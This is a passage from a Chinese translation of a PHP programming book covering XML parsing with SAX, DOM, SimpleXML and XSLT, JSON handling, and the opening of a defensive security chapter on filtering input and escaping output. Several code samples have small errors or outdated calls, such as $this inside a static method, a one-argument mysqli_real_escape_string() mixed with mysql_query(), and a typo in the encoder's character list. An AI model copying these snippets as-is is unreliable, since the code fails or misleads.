示例 12-5 显示了如何解析外部引用的 XML 文档。定义两个函数 createParser()parse() 来实际创建和传送 XML 解析器的工作。您可以同时用它们来解析顶级文档和通过外部引用包含的任何文档。这些函数在“使用解析器”部分有描述。外部实体引用处理程序只需确定正确的文件以发送到这些函数。

示例 12-5. 外部实体引用处理程序
function externalEntityReference($parser, $names, $base, $systemID, $publicID) {
 if ($systemID) {
 if (!list ($parser, $fp) = createParser($systemID)) {
 echo "Error opening external entity {$systemID}\n";

 return false;
 }

 return parse($parser, $fp);
 }

 return false;
}

未解析实体

未解析实体声明必须与符号声明一起出现:

<!DOCTYPE doc [
 <!NOTATION jpeg SYSTEM "image/jpeg">
 <!ENTITY logo SYSTEM "php-tiny.jpg" NDATA jpeg>
]>

使用 xml_set_notation_decl_handler() 注册符号声明处理程序:

xml_set_notation_decl_handler(*`parser`*, *`handler`*);

处理程序将带有五个参数:

*`notationHandler`*(*`parser`*, *`notation`*, *`base`*, *`system`*, *`public`*);

基本 参数是用于解析符号标识符的基本 URI(当前始终为空)。符号的系统标识符或公共标识符将被设置,但不会同时出现。

使用 xml_set_unparsed_entity_decl_handler() 函数注册未解析实体声明:

xml_set_unparsed_entity_decl_handler(*`parser`*, *`handler`*);

处理程序将带有六个参数:

*`unparsedEntityHandler`*(*`parser`*, *`entity`*, *`base`*, *`system`*, *`public`*, *`notation`*);

符号 参数标识与此未解析实体关联的符号声明。

默认处理程序

对于其他任何事件,例如 XML 声明和 XML 文档类型,将调用默认处理程序。调用 xml_set_default_handler() 函数设置默认处理程序:

xml_set_default_handler(*`parser`*, *`handler`*);

处理程序将带有两个参数:

*`defaultHandler`*(*`parser`*, *`text`*);

文本 参数将根据触发默认处理程序的事件类型具有不同的值。示例 12-6 在调用默认处理程序时仅打印给定的字符串。

示例 12-6. 默认处理程序
function default($parser, $data) {
 echo "<font color=\"red\">XML: Default handler called with '{$data}'</font>\n";
}

选项

XML 解析器有几个选项可用于控制源和目标编码以及大小写折叠。使用 xml_parser_set_option() 设置选项:

xml_parser_set_option(*`parser`*, *`option`*, *`value`*);

类似地,使用 xml_parser_get_option() 查询解析器的选项:

$value = xml_parser_get_option(*`parser`*, *`option`*);

字符编码

PHP 使用的 XML 解析器支持多种不同字符编码的 Unicode 数据。在内部,PHP 的字符串总是以 UTF-8 编码,但由 XML 解析器解析的文档可以是 ISO-8859-1、US-ASCII 或 UTF-8. 不支持 UTF-16。

创建 XML 解析器时,可以为其指定用于解析文件的编码格式。如果省略,则假定源文件为 ISO-8859-1. 如果遇到源编码范围外的字符,XML 解析器将返回错误并立即停止处理文档。

解析器的目标编码是 XML 解析器将数据传递给处理程序函数的编码;通常与源编码相同。在 XML 解析器的生命周期中的任何时间,都可以更改目标编码。解析器通过用问号字符 (?) 替换目标编码范围外的任何字符来降级这些字符。

使用常量 XML_OPTION_TARGET_ENCODING 获取或设置传递给回调函数的文本编码。允许的值包括 "ISO-8859-1"(默认)、"US-ASCII""UTF-8"

大小写折叠

XML 文档中的元素和属性名称默认转换为全大写。可以通过将 xml_parser​_set_option() 函数的 XML_OPTION_CASE_FOLDING 选项设置为 false 来关闭此行为(并获得区分大小写的元素名称):

xml_parser_set_option(XML_OPTION_CASE_FOLDING, false);

跳过仅包含空白的内容

将选项 XML_OPTION_SKIP_WHITE 设置为忽略完全由空白字符组成的值。

xml_parser_set_option(XML_OPTION_SKIP_WHITE, true);

截断标签名

创建解析器时,可以选择截断每个标签名称的开头字符。要通过 XML_OPTION_SKIP_TAGSTART 选项截断每个标签的起始字符数,需提供该值:

xml_parser_set_option(XML_OPTION_SKIP_TAGSTART, 4);
// <xsl:name> truncates to "name"

在这种情况下,标签名称将被截断四个字符。

使用解析器

要使用 XML 解析器,使用 xml_parser_create() 创建解析器,为解析器设置处理程序和选项,然后使用 xml_parse() 函数传递数据块给解析器,直到数据耗尽或解析器返回错误。处理完成后,通过调用 xml_parser_free() 释放解析器。

函数 xml_parser_create() 返回一个 XML 解析器:

$parser = xml_parser_create([*`encoding`*]);

可选的 encoding 参数指定被解析文件的文本编码("ISO-8859-1""US-ASCII""UTF-8")。

函数 xml_parse() 如果解析成功返回 true,失败返回 false

$success = xml_parse(*`parser`*, *`data`*[, *`final`* ]);

参数 data 是要处理的 XML 字符串。可选的 final 参数应设为 true,以解析最后一段数据。

为了轻松处理嵌套文档,编写创建解析器并设置其选项和处理程序的函数。这样可以将选项和处理程序设置放在一个地方,而不是在外部实体引用处理程序中重复它们。示例 12-7 展示了这样一个函数。

示例 12-7. 创建解析器
function createParser($filename) {
 $fh = fopen($filename, 'r');
 $parser = xml_parser_create();

 xml_set_element_handler($parser, "startElement", "endElement");
 xml_set_character_data_handler($parser, "characterData");
 xml_set_processing_instruction_handler($parser, "processingInstruction");
 xml_set_default_handler($parser, "default");

 return array($parser, $fh);
}

function parse($parser, $fh) {
 $blockSize = 4 * 1024; // read in 4 KB chunks

 while ($data = fread($fh, $blockSize)) {
 if (!xml_parse($parser, $data, feof($fh))) {
 // an error occurred; tell the user where
 echo 'Parse error: ' . xml_error_string($parser) . " at line " .
 xml_get_current_line_number($parser);

 return false;
 }
 }

 return true;
}

if (list ($parser, $fh) = createParser("test.xml")) {
 parse($parser, $fh);
 fclose($fh);

 xml_parser_free($parser);
}

错误

如果解析完成,xml_parse() 函数返回 true,如果有错误则返回 false。如果出现问题,请使用 xml_get_error_code() 获取标识错误的代码:

$error = xml_get_error_code($parser);

错误代码对应于以下错误常量之一:

XML_ERROR_NONE
XML_ERROR_NO_MEMORY
XML_ERROR_SYNTAX
XML_ERROR_NO_ELEMENTS
XML_ERROR_INVALID_TOKEN
XML_ERROR_UNCLOSED_TOKEN
XML_ERROR_PARTIAL_CHAR
XML_ERROR_TAG_MISMATCH
XML_ERROR_DUPLICATE_ATTRIBUTE
XML_ERROR_JUNK_AFTER_DOC_ELEMENT
XML_ERROR_PARAM_ENTITY_REF
XML_ERROR_UNDEFINED_ENTITY
XML_ERROR_RECURSIVE_ENTITY_REF
XML_ERROR_ASYNC_ENTITY
XML_ERROR_BAD_CHAR_REF
XML_ERROR_BINARY_ENTITY_REF
XML_ERROR_ATTRIBUTE_EXTERNAL_ENTITY_REF
XML_ERROR_MISPLACED_XML_PI
XML_ERROR_UNKNOWN_ENCODING
XML_ERROR_INCORRECT_ENCODING
XML_ERROR_UNCLOSED_CDATA_SECTION
XML_ERROR_EXTERNAL_ENTITY_HANDLING

这些常量通常没有太大用处。使用 xml_error_string() 将错误代码转换为您在报告错误时可以使用的字符串:

$message = xml_error_string(*`code`*);

例如:

$error = xml_get_error_code($parser);

if ($error != XML_ERROR_NONE) {
 die(xml_error_string($error));
}

方法作为处理程序

因为在 PHP 中函数和变量是全局的,任何需要多个函数和变量的应用组件都适合面向对象设计。XML 解析通常需要您跟踪解析过程中的位置(例如,“刚刚看到一个打开的 title 元素,因此在看到关闭的 title 元素之前,跟踪字符数据”)使用变量,当然您必须编写几个处理程序函数来操作状态并实际执行操作。将这些函数和变量包装到一个类中使您能够将它们与程序的其余部分分开,并在以后轻松重用功能。

使用 xml_set_object() 函数注册一个对象到解析器中。注册后,XML 解析器会寻找该对象上的方法作为处理程序,而不是作为全局函数:

xml_set_object(*`object`*);

示例解析应用

让我们开发一个程序来解析 XML 文件,并从中显示不同类型的信息。示例 12-8 中提供的 XML 文件包含一组书籍的信息。

示例 12-8. books.xml 文件
<?xml version="1.0" ?>
<library>
 <book>
 <title>Programming PHP</title>
 <authors>
 <author>Rasmus Lerdorf</author>
 <author>Kevin Tatroe</author>
 <author>Peter MacIntyre</author>
 </authors>
 <isbn>1-56592-610-2</isbn>
 <comment>A great book!</comment>
 </book>
 <book>
 <title>PHP Pocket Reference</title>
 <authors>
 <author>Rasmus Lerdorf</author>
 </authors>
 <isbn>1-56592-769-9</isbn>
 <comment>It really does fit in your pocket</comment>
 </book>
 <book>
 <title>Perl Cookbook</title>
 <authors>
 <author>Tom Christiansen</author>
 <author whereabouts="fishing">Nathan Torkington</author>
 </authors>
 <isbn>1-56592-243-3</isbn>
 <comment>Hundreds of useful techniques, most
 applicable to PHP as well as Perl</comment>
 </book>
</library>

PHP 应用程序解析文件并向用户显示书籍列表,仅显示标题和作者。该菜单显示在图 12-1 中。标题是指向显示书籍完整信息页面的链接。《编程 PHP》的详细信息页面显示在图 12-2 中。

我们定义了一个名为 BookList 的类,其构造函数解析 XML 文件并构建记录列表。BookList 上有两个方法,从记录列表生成输出。showMenu() 方法生成书籍菜单,showBook() 方法显示特定书籍的详细信息。

解析文件涉及跟踪记录,我们所处的元素以及哪些元素对应记录(book)和字段(titleauthorisbncomment)。$record属性在构建当前记录时保存当前记录,$currentField保存当前处理的字段名称(例如,title)。$records属性是迄今为止读取的所有记录的数组。

书籍菜单

图 12-1. 书籍菜单

书籍详细信息

图 12-2. 书籍详细信息

两个关联数组,$fieldType$endsRecord,告诉我们哪些元素对应记录中的字段,以及哪个闭合元素表示记录的结束。在构造函数中初始化这些数组。

处理程序本身相当简单。当我们看到元素的开头时,我们会确定它是否对应我们感兴趣的字段。如果是,则将 $currentField 属性设置为该字段名称,这样当我们看到字符数据(例如书籍的标题)时,我们就知道它是哪个字段的值。当获取字符数据时,如果 $currentField 表示我们处于字段中,则将其添加到当前记录的适当字段中。当我们看到元素的结尾时,我们检查它是否是记录的结尾;如果是,则将当前记录添加到已完成记录的数组中。

一个 PHP 脚本,在 示例 12-9 中提供,同时处理书籍菜单和书籍详情页面。书籍菜单中的条目链接回菜单 URL,并带有一个 GET 参数,用于标识要显示的书籍的 ISBN。

示例 12-9. bookparse.php
<html>
 <head>
 <title>My Library</title>
 </head>

 <body>
 <?php
 class BookList {
 const FIELD_TYPE_SINGLE = 1;
 const FIELD_TYPE_ARRAY = 2;
 const FIELD_TYPE_CONTAINER = 3;

 var $parser;
 var $record;
 var $currentField = '';
 var $fieldType;
 var $endsRecord;
 var $records;

 function __construct($filename) {
 $this->parser = xml_parser_create();
 xml_set_object($this->parser, $this);
 xml_set_element_handler($this->parser, "elementStarted", "elementEnded");
 xml_set_character_data_handler($this->parser, "handleCdata");

 $this->fieldType = array(
 'title' => self::FIELD_TYPE_SINGLE,
 'author' => self::FIELD_TYPE_ARRAY,
 'isbn' => self::FIELD_TYPE_SINGLE,
 'comment' => self::FIELD_TYPE_SINGLE,
 );

 $this->endsRecord = array('book' => true);

 $xml = join('', file($filename));
 xml_parse($this->parser, $xml);

 xml_parser_free($this->parser);
 }

 function elementStarted($parser, $element, &$attributes) {
 $element = strtolower($element);

 if ($this->fieldType[$element] != 0) {
 $this->currentField = $element;
 }
 else {
 $this->currentField = '';
 }
 }

 function elementEnded($parser, $element) {
 $element = strtolower($element);

 if ($this->endsRecord[$element]) {
 $this->records[] = $this->record;
 $this->record = array();
 }

 $this->currentField = '';
 }

 function handleCdata($parser, $text) {
 if ($this->fieldType[$this->currentField] == self::FIELD_TYPE_SINGLE) {
 $this->record[$this->currentField] .= $text;
 }
 else if ($this->fieldType[$this->currentField] == self::FIELD_TYPE_ARRAY) {
 $this->record[$this->currentField][] = $text;
 }
 }

 function showMenu() {
 echo "<table>\n";

 foreach ($this->records as $book) {
 echo "<tr>";
 echo "<th><a href=\"{$_SERVER['PHP_SELF']}?isbn={$book['isbn']}\">";
 echo "{$book['title']}</a></th>";
 echo "<td>" . join(', ', $book['author']) . "</td>\n";
 echo "</tr>\n";
 }

 echo "</table>\n";
 }

 function showBook($isbn) {
 foreach ($this->records as $book) {
 if ($book['isbn'] !== $isbn) {
 continue;
 }

 echo "<p><b>{$book['title']}</b> by " . join(', ', $book['author']) . "<br />";
 echo "ISBN: {$book['isbn']}<br />";
 echo "Comment: {$book['comment']}</p>\n";
 }

 echo "<p>Back to the <a href=\"{$_SERVER['PHP_SELF']}\">list of books</a>.</p>";
 }
 }

 $library = new BookList("books.xml");

 if (isset($_GET['isbn'])) {
 // return info on one book
 $library->showBook($_GET['isbn']);
 }
 else {
 // show menu of books
 $library->showMenu();
 } ?>
 </body>
</html>

使用 DOM 解析 XML

PHP 提供的 DOM 解析器使用起来简单得多,但复杂性减少的同时,内存使用量却会大大增加。DOM 解析器不会触发事件并允许您在解析过程中处理文档,而是将 XML 文档作为输入,并返回整个节点和元素的树:

$parser = new DOMDocument();
$parser->load("books.xml");
processNodes($parser->documentElement);

function processNodes($node) {
 foreach ($node->childNodes as $child) {
 if ($child->nodeType == XML_TEXT_NODE) {
 echo $child->nodeValue;
 }
 else if ($child->nodeType == XML_ELEMENT_NODE) {
 processNodes($child);
 }
 }
}

使用 SimpleXML 解析 XML

如果您要处理非常简单的 XML 文档,可以考虑 PHP 提供的第三个库 SimpleXML。SimpleXML 无法像 DOM 扩展那样生成文档,也不像事件驱动扩展那样灵活或内存高效,但它非常容易读取、解析和遍历简单的 XML 文档。

SimpleXML 接受文件、字符串或使用 DOM 扩展生成的 DOM 文档,并生成一个对象。该对象上的属性是数组,提供对每个节点中元素的访问。通过这些数组,可以使用数字索引访问元素,并使用非数字索引访问属性。最后,可以对检索到的任何值使用字符串转换,以获取项目的文本值。

例如,我们可以使用以下方式显示 books.xml 文档中所有书籍的标题:

$document = simplexml_load_file("books.xml");

foreach ($document->book as $book) {
 echo $book->title . "\r\n";
}

在对象上使用 children() 方法,可以迭代给定节点的子节点;同样,可以使用 attributes() 方法迭代节点的属性:

$document = simplexml_load_file("books.xml");

foreach ($document->book as $node) {
 foreach ($node->attributes() as $attribute) {
 echo "{$attribute}\n";
 }
}

最后,使用对象上的 asXml() 方法,可以以 XML 格式检索文档的 XML。这使您可以轻松地更改文档中的值并将其写回到磁盘:

$document = simplexml_load_file("books.xml");

foreach ($document->children() as $book) {
 $book->title = "New Title";
}

file_put_contents("books.xml", $document->asXml());

使用 XSLT 转换 XML

可扩展样式表语言转换(XSLT)是一种将 XML 文档转换为不同 XML、HTML 或任何其他格式的语言。例如,许多网站提供其内容的多种格式——HTML、可打印 HTML 和 WML(无线标记语言)是常见的。呈现同一信息的多个视图的最简单方法是在 XML 中维护内容的一种形式,并使用 XSLT 生成 HTML、可打印 HTML 和 WML。

PHP 的 XSLT 扩展使用 Libxslt C 库提供 XSLT 支持。

XSLT 转换涉及三个文档:原始 XML 文档、包含转换规则的 XSLT 文档和生成的文档。最终文档不必是 XML;事实上,常见的是使用 XSLT 从 XML 生成 HTML。在 PHP 中进行 XSLT 转换,你创建一个 XSLT 处理器,给它一些要转换的输入,然后销毁处理器。

创建一个处理器,通过创建一个新的 XsltProcessor 对象:

$processor = new XsltProcessor;

将 XML 和 XSL 文件解析为 DOM 对象:

$xml = new DomDocument;
$xml->load($filename);

$xsl = new DomDocument;
$xsl->load($filename);

将 XML 规则附加到对象:

$processor->importStyleSheet($xsl);

使用 transformToDoc()transformToUri()transformToXml() 方法处理文件:

$result = $processor->transformToXml($xml);

每个都将表示 XML 文档的 DOM 对象作为参数。

示例 12-10 是我们将要转换的 XML 文档。它的格式与你在网上找到的许多新闻文档类似。

示例 12-10. XML 文档
<?xml version="1.0" ?>

<news xmlns:news="http://slashdot.org/backslash.dtd">
 <story>
 <title>O'Reilly Publishes Programming PHP</title>
 <url>http://example.org/article.php?id=20020430/458566</url>
 <time>2002-04-30 09:04:23</time>
 <author>Rasmus and some others</author>
 </story>

 <story>
 <title>Transforming XML with PHP Simplified</title>
 <url>http://example.org/article.php?id=20020430/458566</url>
 <time>2002-04-30 09:04:23</time>
 <author>k.tatroe</author>
 <teaser>Check it out</teaser>
 </story>
</news>

示例 12-11 是我们将用来将 XML 文档转换为 HTML 的 XSL 文档。每个 xsl:template 元素包含处理输入文档一部分的规则。

示例 12-11. 新闻 XSL 转换
<?xml version="1.0" encoding="utf-8" ?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="html" indent="yes" encoding="utf-8" />

<xsl:template match="/news">
 <html>
 <head>
 <title>Current Stories</title>
 </head>
 <body bgcolor="white" >
 <xsl:call-template name="stories"/>
 </body>
 </html>
</xsl:template>

<xsl:template name="stories">
 <xsl:for-each select="story">
 <h1><xsl:value-of select="title" /></h1>

 <p>
 <xsl:value-of select="author"/> (<xsl:value-of select="time"/>)<br />
 <xsl:value-of select="teaser"/>
 [ <a href="{url}">More</a> ]
 </p>

 <hr />
 </xsl:for-each>
</xsl:template>

</xsl:stylesheet>

示例 12-12 是将 XML 文档使用 XSL 样式表转换为 HTML 文档所需的非常少量代码。我们创建一个处理器,运行文件,并打印结果。

示例 12-12. 文件中的 XSL 转换
<?php
$processor = new XsltProcessor;

$xsl = new DOMDocument;
$xsl->load("rules.xsl");
$processor->importStyleSheet($xsl);

$xml = new DomDocument;
$xml->load("feed.xml");
$result = $processor->transformToXml($xml);

echo "<pre>{$result}</pre>";

尽管没有专门讨论 PHP,但 Doug Tidwell 的书籍 XSLT(O’Reilly)提供了 XSLT 样式表语法的详细指南。

接下来做什么

虽然 XML 仍然是数据共享的主要格式,但简化版的 JavaScript 数据封装——JSON,已迅速成为简单、可读且简洁的网络服务响应和其他数据的事实标准。这将是我们下一章的主题。

第十三章:JSON

类似于 XML,JavaScript 对象表示法(JSON)被设计为一种标准化的数据交换格式。但是,与 XML 不同,JSON 非常轻量级且易于人阅读。虽然它从 JavaScript 中借鉴了许多语法提示,但 JSON 设计为与语言无关。

JSON 基于两种结构构建:名/值对的集合称为对象(相当于 PHP 的关联数组)和值的有序列表称为数组(相当于 PHP 的索引数组)。每个值可以是多种类型之一:对象、数组、字符串、数字、布尔值TRUEFALSE,或者NULL(表示缺少值)。

使用 JSON

json扩展在 PHP 安装中默认包含,本地支持将数据从 PHP 变量转换为 JSON 格式,反之亦然。

要获取 PHP 变量的 JSON 表示形式,请使用json_encode()

$data = array(1, 2, "three");
$jsonData = json_encode($data);
echo $jsonData;
`[``1``,` `2``,` `"``three``"``]`

类似地,如果有包含 JSON 数据的字符串,可以使用json_decode()将其转换为 PHP 变量:

$jsonData = "[1, 2, [3, 4], \"five\"]";
$data = json_decode($jsonData);
print_r($data);
`Array``(` `[``0``]` `=>` `1` `[``1``]` `=>` `2` `[``2``]` `=>` `Array``(` `[``0``]` `=>` `3` `[``1``]` `=>` `4` `)` `[``3``]` `=>` `five``)`

如果字符串是无效的 JSON,或者字符串不是以 UTF-8 格式编码,那么将返回一个NULL值。

JSON 中的值类型转换为 PHP 等效值如下:

object

包含对象键值对的关联数组。每个值也被转换为其 PHP 等效值。

array

包含包含的值的索引数组,每个值也被转换为其 PHP 等效值。

string

直接转换为 PHP 字符串。

number

返回一个数字。如果值过大而无法由 PHP 的数字值表示,则返回NULL,除非使用json_decode()调用JSON_BIGINT​_AS_STRING(此时将返回一个字符串)。

boolean

布尔值true转换为TRUE;布尔值false转换为FALSE

null

null值以及无法解码的任何值都被转换为NULL

序列化 PHP 对象

尽管名称相似,PHP 对象与 JSON 对象之间没有直接转换——JSON 称之为“对象”的东西实际上是一个关联数组。要将 JSON 数据转换为 PHP 对象类的实例,必须编写基于 API 返回格式的代码来执行此操作。

然而,JsonSerializable接口允许您根据您的喜好将对象转换为 JSON 数据。如果对象类未实现该接口,json_encode()简单地创建一个 JSON 对象,其中包含与对象数据成员对应的键和值。

否则,json_encode()调用类的jsonSerialize()方法并使用其序列化对象数据。

示例 13-1 将JsonSerializable接口添加到BookAuthor类中。

示例 13-1. 书籍和作者的 JSON 序列化
class Book implements JsonSerializable {
 public $id;
 public $name;
 public $edition;

 public function __construct($id) {
 $this->id = $id;
 }

 public function jsonSerialize() {
 $data = array(
 'id' => $this->id,
 'name' => $this->name,
 'edition' => $this->edition,
 );

 return $data;
 }
}

class Author implements JsonSerializable {
 public $id;
 public $name;
 public $books = array();

 public function __construct($id) {
 $this->id = $id;
 }

 public function jsonSerialize() {
 $data = array(
 'id' => $this->id,
 'name' => $this->name,
 'books' => $this->books,
 );

 return $data;
 }
}

从 JSON 数据创建 PHP 对象需要编写代码执行转换。

示例 13-2 展示了一个类,实现了将 JSON 数据转换为BookAuthor实例成为 PHP 对象的工厂式转换。

示例 13-2. 通过工厂对 Book 和 Author 进行 JSON 序列化
class ResourceFactory {
 static public function authorFromJSON($jsonData) {
 $author = new Author($jsonData['id']);
 $author->name = $jsonData['name'];

 foreach ($jsonData['books'] as $bookIdentifier) {
 $this->books[] = new Book($bookIdentifier);
 }

 return $author;
 }

 static public function bookFromJSON($jsonData) {
 $book = new Book($jsonData['id']);
 $book->name = $jsonData['name'];
 $book->edition = (int) $jsonData['edition'];

 return $book;
 }
}

选项

JSON 解析器函数有多个选项可设置以控制转换过程。

对于json_decode(),最常见的选项包括:

JSON_BIGINT_AS_STRING

当解码一个过大无法表示为 PHP 数字类型的数字时,返回该值作为字符串。

JSON_OBJECT_AS_ARRAY

将 JSON 对象解码为 PHP 数组。

对于json_encode(),最常见的选项包括:

JSON_FORCE_OBJECT

将 PHP 值的索引数组编码为 JSON 对象,而不是 JSON 数组。

JSON_NUMERIC_CHECK

将表示数字值的字符串编码为 JSON 数字,而不是 JSON 字符串。在实践中,最好手动转换,这样你可以清楚知道类型是什么。

JSON_PRETTY_PRINT

使用空白符将返回的数据格式化为更易读的形式。虽然不是必需的,但可以简化调试。

最后,以下选项可用于json_encode()json_decode()

JSON_INVALID_UTF8_IGNORE

忽略无效的 UTF-8 字符。如果还设置了JSON_INVALID_UTF8_SUBSTITUTE,则替换它们;否则,在结果字符串中删除它们。

JSON_INVALID_UTF8_SUBSTITUTE

\0xfffd(Unicode 字符'REPLACEMENT CHARACTER')替换无效的 UTF-8 字符。

JSON_THROW_ON_ERROR

当发生错误时,抛出错误而不是填充全局最后错误状态。

接下来是什么

在编写 PHP 时,考虑的最重要的事情之一是代码的安全性,从代码吸收和防御攻击的能力到如何保护你自己和用户的数据。下一章提供了指导和最佳实践,帮助你避免与安全相关的灾难。

第十四章:安全

PHP 是一种灵活的语言,可以连接到其运行机器上提供的几乎每个 API。因为它被设计为用于 HTML 页面的表单处理语言,PHP 使得使用发送到脚本的表单数据变得简单。然而,便利性是一把双刃剑。正是这些特性使得你能够快速编写 PHP 程序,但也为那些企图入侵你系统的人打开了大门。

PHP 本身既不安全也不不安全。你的 Web 应用程序的安全性完全取决于你编写的代码。例如,如果脚本打开一个文件,其文件名作为表单参数传递给脚本,那么该脚本可以被赋予一个远程 URL、绝对路径名,甚至是相对路径,从而使其能够打开站点文档根目录之外的文件。这可能会暴露你的密码文件或其他敏感信息。

Web 应用程序安全性仍然是一个相对年轻和不断发展的学科。单独一章关于安全性不足以充分为你的应用程序抵御攻击做好准备。这一章采取务实的方法,涵盖了与安全相关的一系列主题的精选,包括如何保护你的应用程序免受最常见和最危险的攻击。该章节结尾附有进一步资源的列表以及简短的总结和一些额外的建议。

保护措施

在开发安全站点时,你需要理解的最基本的事情之一是,所有不是应用程序自身生成的信息都可能是被污染的,或者至少是可疑的。这包括来自表单、文件和数据库的数据。应始终有相应的保护措施或防护措施。

过滤输入

当数据被描述为被污染时,并不一定意味着它是恶意的。这意味着它可能是恶意的。你不能信任源头,因此你应该检查它以确保其有效。这个检查过程称为过滤,你只想允许有效的数据进入你的应用程序。

在过滤过程中有一些最佳实践:

  • 使用白名单方法。这意味着你在谨慎方面犯错,并假设数据是无效的,除非你能证明它是有效的。

  • 永远不要更正无效数据。历史已经证明,尝试更正无效数据通常会导致由于错误而产生安全漏洞。

  • 使用命名约定有助于区分经过过滤和被污染的数据。如果无法可靠地确定是否已经过滤,则过滤就毫无意义。

为了巩固这些概念,考虑一个简单的 HTML 表单,允许用户在三种颜色中选择:

<form action="process.php" method="POST">
 <p>Please select a color:

 <select name="color">
 <option value="red">red</option>
 <option value="green">green</option>
 <option value="blue">blue</option>
 </select>

 <input type="submit" /></p>
</form>

process.php 中信任 $_POST['color'] 是很容易的。毕竟,表单看似限制了用户可以输入的内容。然而,有经验的开发者知道 HTTP 请求对其包含的字段没有限制 —— 仅依赖客户端验证是不足够的。恶意数据可以通过多种方式发送到你的应用程序,你唯一的防御措施是什么都不信任,并过滤你的输入:

$clean = array();

switch($_POST['color']) {
 case 'red':
 case 'green':
 case 'blue':
 $clean['color'] = $_POST['color'];
 break;

 default:
 /* ERROR */
 break;
}

这个示例展示了一个简单的命名约定。你初始化一个名为 $clean 的数组。对于每个输入字段,验证输入并将验证后的输入存储在数组中。这样做可以减少被污染数据误认为是过滤数据的可能性,因为你总是应该谨慎行事,考虑到未存储在这个数组中的一切都可能是污染的。

你的过滤逻辑完全取决于你正在检查的数据类型,你越严格,越好。例如,考虑一个注册表单,要求用户提供一个期望的用户名。显然,有许多可能的用户名,所以先前的例子并不适用。在这些情况下,最好的方法是基于格式进行过滤。如果你希望要求用户名是字母数字的,你的过滤逻辑可以强制执行这一点:

$clean = array();

if (ctype_alnum($_POST['username'])) {
 $clean['username'] = $_POST['username'];
}
else {
 /* ERROR */
}

当然,这并不能确保任何特定长度。使用 mb_strlen() 检查字符串的长度,并强制施加最小和最大限制:

$clean = array();

$length = mb_strlen($_POST['username']);

if (ctype_alnum($_POST['username']) && ($length > 0) && ($length <= 32)) {
 $clean['username'] = $_POST['username'];
}
else {
 /* ERROR */
}

经常情况下,你想允许的字符并不都属于单一组(比如字母数字字符),这就是正则表达式可以帮助的地方。例如,考虑以下关于姓氏的过滤逻辑:

$clean = array();

if (preg_match("/[^A-Za-z \'\-]/", $_POST['last_name'])) {
 /* ERROR */
}
else {
 $clean['last_name'] = $_POST['last_name'];
}

此过滤器仅允许字母字符、空格、连字符和单引号(撇号),并采用前面描述的白名单方法。在这种情况下,白名单是有效字符的列表。

通常情况下,过滤是确保数据完整性的过程。但是虽然许多 Web 应用程序安全漏洞可以通过过滤来预防,但大多数是由于未对数据进行转义,而且两者都不能取代对方。

输出数据转义

转义 是一种在数据进入另一个上下文时保持其不变的技术。PHP 经常用作不同数据源之间的桥梁,在将数据发送到远程源时,你有责任适当地准备它,以避免被误解。

例如,当在 SQL 查询中用于发送到 MySQL 数据库时,O'Reilly 被表示为 O\'Reilly。反斜杠保留了单引号(撇号)在 SQL 查询语境中的含义。单引号是数据的一部分,而不是查询的一部分,转义确保了这种解释。

PHP 应用程序发送数据的两个主要远程来源是 HTTP 客户端(Web 浏览器),它们解释 HTML、JavaScript 和其他客户端技术,以及解释 SQL 的数据库。对于前者,PHP 提供了html``entities()

$html = array();
$html['username'] = htmlentities($clean['username'], ENT_QUOTES, 'UTF-8');

echo "<p>Welcome back, {$html['username']}.</p>";

本例展示了另一种命名约定的使用。$html数组类似于$clean数组,但其目的是保存在 HTML 上下文中安全使用的数据。

URL 有时嵌入到 HTML 中作为链接:

<a href="http://host/script.php?var={$value}">Click Here</a>

在这个特定的例子中,$value存在于嵌套的上下文中。它位于作为 HTML 链接嵌入的 URL 的查询字符串中。由于在这种情况下是字母的,因此可以安全地在这两个上下文中使用。然而,当$var的值在这些上下文中不能保证安全时,必须进行两次转义:

$url = array(
 'value' => urlencode($value),
);

$link = "http://host/script.php?var={$url['value']}";

$html = array(
 'link' => htmlentities($link, ENT_QUOTES, "UTF-8"),
);

echo "<a href=\"{$html['link']}\">Click Here</a>";

这确保链接在 HTML 上下文中安全使用,并且当作为 URL(例如用户点击链接时)使用时,URL 编码确保$var的值被保留。

对于大多数数据库,都有针对特定数据库的本地转义函数。例如,MySQL 扩展提供了mysqli_real_escape_string()

$mysql = array(
 'username' => mysqli_real_escape_string($clean['username']),
);

$sql = "SELECT * FROM profile
 WHERE username = '{$mysql['username']}'";

$result = mysql_query($sql);

更安全的替代方案是使用处理转义的数据库抽象库。以下示例说明了使用PEAR::DB来实现这一概念:

$sql = "INSERT INTO users (last_name) VALUES (?)";

$db->query($sql, array($clean['last_name']));

尽管这不是一个完整的例子,但它突显了在 SQL 查询中使用占位符(问号)的技术。PEAR::DB根据数据库的要求正确引用和转义数据。查看第九章以获取有关占位符技术更详细的介绍。

一个更完整的输出转义解决方案应包括对 HTML 元素、HTML 属性、JavaScript、CSS 和 URL 内容的上下文感知转义,并且以 Unicode 安全的方式执行。示例 14-1 展示了一个根据开放式网络应用安全项目定义的内容转义规则,在多种情境下进行输出转义的示例类。

示例 14-1. 多种情境下的输出转义
class Encoder
{
 const ENCODE_STYLE_HTML = 0;
 const ENCODE_STYLE_JAVASCRIPT = 1;
 const ENCODE_STYLE_CSS = 2;
 const ENCODE_STYLE_URL = 3;
 const ENCODE_STYLE_URL_SPECIAL = 4;

 private static $URL_UNRESERVED_CHARS =
 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcedfghijklmnopqrstuvwxyz-_.~';

 public function encodeForHTML($value) {
 $value = str_replace('&', '&amp;', $value);
 $value = str_replace('<', '&lt;', $value);
 $value = str_replace('>', '&gt;', $value);
 $value = str_replace('"', '&quot;', $value);
 $value = str_replace('\'', '&#x27;', $value); // &apos; is not recommended
 $value = str_replace('/', '&#x2F;', $value); // forward slash can help end 
 HTML entity

 return $value;
 }

 public function encodeForHTMLAttribute($value) {
 return $this->_encodeString($value);
 }

 public function encodeForJavascript($value) {
 return $this->_encodeString($value, self::ENCODE_STYLE_JAVASCRIPT);
 }

 public function encodeForURL($value) {
 return $this->_encodeString($value, self::ENCODE_STYLE_URL_SPECIAL);
 }

 public function encodeForCSS($value) {
 return $this->_encodeString($value, self::ENCODE_STYLE_CSS);
 }

 /**
 * Encodes any special characters in the path portion of the URL. Does not
 * modify the forward slash used to denote directories. If your directory
 * names contain slashes (rare), use the plain urlencode on each directory
 * component and then join them together with a forward slash.
 *
 * Based on http://en.wikipedia.org/wiki/Percent-encoding and
 * http://tools.ietf.org/html/rfc3986
 */
 public function encodeURLPath($value) {
 $length = mb_strlen($value);

 if ($length == 0) {
 return $value;
 }

 $output = '';

 for ($i = 0; $i < $length; $i++) {
